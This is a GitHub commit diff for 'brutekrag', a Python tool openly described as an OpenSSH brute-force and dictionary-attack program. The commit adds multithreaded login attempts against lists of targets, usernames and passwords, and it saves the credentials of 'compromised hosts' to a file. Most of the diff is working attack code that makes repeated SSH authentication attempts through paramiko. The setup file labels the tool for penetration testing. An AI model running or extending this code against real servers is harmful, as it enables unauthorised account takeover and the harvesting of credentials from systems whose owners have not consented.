Skip to content

Commit

Permalink
+ Output compromised hosts data to a file
Browse files Browse the repository at this point in the history
+ Multi threads support
  • Loading branch information
matricali committed Jun 6, 2017
1 parent d46707a commit a0d4b83
Show file tree
Hide file tree
Showing 4 changed files with 101 additions and 21 deletions.
8 changes: 6 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,15 +27,16 @@ $ brutekrag --help

usage: brutekrag [-h] [-t TARGET] [-T TARGETS] [-pF PASSWORDS] [-uF USERS]
[-sF SINGLE] [--separator SEPARATOR] [-p PORT] [-u USER]
[-P PASSWORD] [--timeout TIMEOUT]
[-P PASSWORD] [--timeout TIMEOUT] [--threads THREADS]
[-o OUTPUT]

_ _ _
| | | | | |
| |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _
| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
| |_) | | | |_| | || __/ <| | | (_| | (_| |
|_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
OpenSSH Brute force tool 0.2.1 __/ |
OpenSSH Brute force tool 0.3.0 __/ |
(c) Copyright 2014 Jorge Matricali |___/
Expand All @@ -58,6 +59,9 @@ optional arguments:
-P PASSWORD, --password PASSWORD
Single password bruteforce.
--timeout TIMEOUT Connection timeout (in seconds, 1 default).
--threads THREADS Total number of threads to use (default 1).
-o OUTPUT, --output OUTPUT
Output file for compromised hosts.
```

## Example usages
Expand Down
96 changes: 86 additions & 10 deletions bin/brutekrag
Original file line number Diff line number Diff line change
Expand Up @@ -28,22 +28,82 @@ import sys
import brutekrag
import argparse
from argparse import RawTextHelpFormatter
import threading
import signal
import time

exit_flag = False
threads = []
matrix = []
compromisedHostsBuffer = None


def teardown(signal=0):
print('Stopping threads...')
exit_flag = True
try:
for t in threads:
try:
t.stop()
except Exception as e:
print(e)
except Exception as e:
print(e)
sys.exit(signal)


def signal_handler(signal, frame):
teardown(0)


def print_error(message, *args):
print('\033[91m\033[1mERROR:\033[0m %s' % message, *args, file=sys.stderr)


class brutekragThread(threading.Thread):
def __init__(self, threadID, name, **kwargs):
super(brutekragThread, self).__init__()
self._threadID = threadID
self._name = name
self._running = True

def run(self):
self.log('Starting thread...')
while(matrix and self._running):
try:
loginAttempt = matrix.pop()
btkg = brutekrag.brutekrag(loginAttempt[0], args.port, timeout=args.timeout)
if btkg.connect(loginAttempt[1], loginAttempt[2]) is True:
print('\033[37m[%s:%d]\033[0m The password for user \033[1m%s\033[0m is \033[92m\033[1m%s\033[0m' % (loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2]))
if args.output is not None:
print('%s:%d %s:%s' % (loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2]), file=compromisedHostsBuffer)
if args.user is not None:
# This execution aims to a single user, so all the job is done. :D
teardown(0)
break
except Exception as ex:
print_error(str(ex))
self.stop()

def stop(self):
self.log('Stopping...')
self._running = False

def log(self, *args):
print(time.ctime(time.time()), self._name, *args)


banner = ('''\033[92m _ _ _
| | | | | |
| |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _
| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
| |_) | | | |_| | || __/ <| | | (_| | (_| |
|_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
\033[0m\033[1mOpenSSH Brute force tool 0.2.1\033[92m __/ |
\033[0m\033[1mOpenSSH Brute force tool 0.3.0\033[92m __/ |
\033[0m(c) Copyright 2014 Jorge Matricali\033[92m |___/\033[0m
\n''')

signal.signal(signal.SIGINT, signal_handler)
parser = argparse.ArgumentParser(description=banner,
formatter_class=RawTextHelpFormatter)

Expand All @@ -57,6 +117,8 @@ parser.add_argument('-p', '--port', type=int, help='Target port (default 22).',
parser.add_argument('-u', '--user', type=str, help='Single user bruteforce.')
parser.add_argument('-P', '--password', type=str, help='Single password bruteforce.')
parser.add_argument('--timeout', type=int, help='Connection timeout (in seconds, 1 default).', default=1)
parser.add_argument('--threads', type=int, default=1, help='Total number of threads to use (default 1).')
parser.add_argument('-o', '--output', type=str, default=None, help='Output file for compromised hosts.')

try:
args = parser.parse_args()
Expand Down Expand Up @@ -114,19 +176,27 @@ elif args.single is None:
print_error('You must specify a password dictionary.')
sys.exit(255)

'''
OUTPUT BUFFER
'''
if args.output is not None:
try:
compromisedHostsBuffer = open(args.output, 'a')
except Exception as error:
print_error('Can\'t output to %s: %s' % (args.output, str(error)))


'''
BUILD MATRIX
'''
matrix = []
if args.single is not None:
# Single file
dictionary = []
with open(args.single, 'r') as dictionaryFile:
for line in dictionaryFile:
dictionary.append(line)
dictionaryFile.close()
print('Loaded %d passwords from %s\n' % (len(dictionary), args.single))
print('Loaded %d combinations of username and password from %s\n' % (len(dictionary), args.single))

for line in dictionary:
username, password = line.split(args.separator)
Expand All @@ -143,14 +213,20 @@ else:
for target in targets:
matrix.append([target.strip(), username.strip(), password.strip('\n')])

matrix.reverse()
print('%d total loggin attemps.' % len(matrix))
print('Starting %d threads...\n' % args.threads)

print('%d total loggin attemps.\n' % len(matrix))
for loginAttempt in matrix:
try:
btkg = brutekrag.brutekrag(loginAttempt[0], args.port, timeout=args.timeout)
btkg.connect(loginAttempt[1], loginAttempt[2])
except Exception as ex:
print_error(str(ex))
threads = [None]*args.threads
for nt in range(args.threads):
threads[nt] = brutekragThread(nt+1, 'Thread-%d' % (nt+1))
threads[nt].daemon = True
threads[nt].start()

while(threads):
for t in threads:
if not t._running:
threads.remove(t)


print('Bye...')
14 changes: 7 additions & 7 deletions brutekrag/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -60,21 +60,21 @@ def connect(self, username, password):

except paramiko.AuthenticationException:
self.print_debug('[%s:%d] Password %s for user %s failed' % (self.host, self.port, password, username))
client.close()
return 255
return False

except (paramiko.ssh_exception.BadHostKeyException) as error:
self.print_error('[%s:%d] BadHostKeyException: %s' % (self.host, self.port, error.message))
return 255
return False

except (paramiko.ssh_exception.SSHException, socket.error) as se:
self.print_error('[%s:%d] Connection error: %s' % (self.host, self.port, str(se)))
return 255
return False

except paramiko.ssh_exception.SSHException as error:
self.print_error('[%s:%d] An error occured: %s' % (self.host, self.port, error.message))
return 255
return False

finally:
client.close()

print('\033[37m[%s:%d]\033[0m The password for user \033[1m%s\033[0m is \033[37m\033[1m%s\033[0m' % (self.host, self.port, username, password))
return 0
return True
4 changes: 2 additions & 2 deletions setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,13 +3,13 @@
setup(
name='brutekrag',
packages=['brutekrag'],
version='0.2.1',
version='0.3.0',
description='Penetration tests on SSH servers using brute force or dictionary attacks',
author='Jorge Matricali',
author_email='[email protected]',
license='MIT',
url='https://github.com/jorge-matricali/brutekrag',
download_url='https://github.com/jorge-matricali/brutekrag/archive/v0.2.1.tar.gz',
download_url='https://github.com/jorge-matricali/brutekrag/archive/v0.3.0.tar.gz',
scripts=['bin/brutekrag'],
keywords=['ssh', 'brute force', 'ethical hacking', 'pentesting', 'dictionary attack', 'penetration test'],
classifiers=(
Expand Down

0 comments on commit a0d4b83

Please sign in to comment.